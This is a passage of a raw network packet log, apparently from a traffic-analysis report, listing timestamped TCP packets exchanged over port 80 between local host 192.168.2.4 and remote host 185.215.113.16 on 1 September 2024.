Sep 1, 2024 02:48:05.279516935 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.279525995 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.279536963 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.279561043 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.279572964 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.279613972 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.279623985 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.279633045 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.279642105 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.279653072 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.279659033 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.279664040 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.279689074 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.279721975 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.279803991 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.279813051 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.279823065 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.279831886 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.279840946 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.279854059 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.279875040 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.279901028 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.279927015 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.279937983 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.279947996 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.279958010 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.279968023 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.279972076 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.279983997 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.279993057 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.280000925 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.280003071 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.280011892 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.280020952 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.280023098 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.280030012 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.280050993 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.280072927 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.280275106 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.280286074 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.280294895 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.280304909 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.280313969 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.280323982 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.280333996 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.280354977 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.280371904 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.280419111 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.280452967 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.280615091 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.280651093 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.280766010 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.280776024 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.280785084 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.280806065 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.280817032 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.280824900 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.281084061 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.281095028 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.281105042 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.281114101 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.281124115 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.281128883 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.281162024 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.281172991 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.281234026 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.281244993 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.281279087 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.281292915 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.282145977 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.282155991 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.282166958 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.282196045 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.282223940 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.282227039 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.282233953 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.282243967 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.282253981 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.282262087 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.282285929 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.340307951 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.340379000 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.340393066 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.340401888 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.340406895 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.340411901 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.340420961 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.340430975 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.340552092 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.340552092 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.340552092 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.340580940 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.340591908 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.340620995 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.340646982 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.340711117 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.340753078 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.341038942 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.341048002 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.341057062 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.341068029 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.341080904 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.341083050 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.341089964 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.341104031 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.341129065 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.341129065 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.341140032 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.341167927 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.341176987 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.341239929 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.341249943 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.341259956 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.341274023 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.341284990 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.341284990 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.341294050 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.341314077 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.341331959 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.341335058 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.341346025 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.341355085 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.341363907 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.341373920 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.341373920 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.341386080 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.341388941 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.341406107 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.341423035 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.341912985 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.341928959 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.341938019 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.341948032 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.341959000 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.341959000 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.341969013 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.341979980 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.341979980 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.341989040 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.341999054 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.342005014 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.342024088 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.342034101 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.365722895 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.365734100 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.365747929 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.365788937 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.365819931 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.365883112 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.365892887 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.365902901 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.365911961 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.365921974 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.365928888 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.365936041 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.365946054 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.365962982 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.365974903 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.366043091 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.366053104 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.366061926 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.366072893 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.366080999 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.366090059 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.366091013 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.366113901 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.366142035 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.366202116 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.366219044 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.366228104 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.366238117 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.366239071 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.366249084 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.366257906 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.366264105 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.366267920 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.366287947 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.366291046 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.366306067 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.366307020 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.366317034 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.366327047 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.366328001 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.366338015 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.366348028 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.366348982 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.366358042 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.366367102 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.366369009 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.366381884 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.366389036 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.366391897 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.366403103 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.366409063 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.366410971 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.366431952 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.366455078 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.366853952 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.366863012 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.366899014 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.367002964 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.367013931 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.367027998 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.367037058 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.367046118 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.367047071 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.367058039 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.367067099 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.367067099 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.367078066 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.367084980 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.367089033 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.367098093 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.367106915 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.367129087 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.367139101 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.367150068 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.367160082 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.367175102 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.367202997 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.367244005 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.367254972 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.367263079 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.367273092 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.367281914 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.367289066 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.367291927 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.367301941 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.367302895 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.367331028 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.367352962 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.367371082 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.367379904 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.367391109 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.367399931 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.367403030 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.367409945 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.367419958 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.367420912 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.367430925 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.367446899 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.367446899 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.367459059 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.367468119 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.367477894 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.367479086 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.367496967 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.367516041 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.367532969 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.367548943 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.367561102 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.367568970 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.367571115 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.367599010 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.367618084 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.367630005 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.367639065 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.367676020 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.368813038 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.368824959 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.368868113 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.368953943 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.368966103 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.368985891 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.368998051 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.368999004 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.369010925 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.369034052 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.369061947 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.427136898 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.427150011 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.427164078 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.427198887 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.427222967 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.427225113 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.427238941 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.427249908 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.427263021 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.427264929 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.427273989 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.427283049 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.427288055 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.427293062 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.427308083 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.427309990 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.427319050 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.427329063 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.427345037 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.427367926 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.427591085 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.427601099 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.427609921 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.427644968 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.427674055 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.427879095 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.427927971 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.428082943 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.428092003 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.428097010 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.428107977 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.428124905 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.428128004 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.428134918 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.428144932 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.428150892 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.428157091 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.428183079 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.428205967 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.428332090 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.428374052 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.428378105 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.428385973 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.428416014 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.428430080 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.428515911 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.428525925 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.428534985 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.428544998 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.428555012 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.428560019 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.428564072 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.428572893 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.428576946 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.428582907 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.428591967 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.428602934 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.428616047 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.428638935 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.428790092 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.428801060 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.428838968 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.452269077 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.452281952 CEST	80	49731	185.215.113.16	192.168.2.4
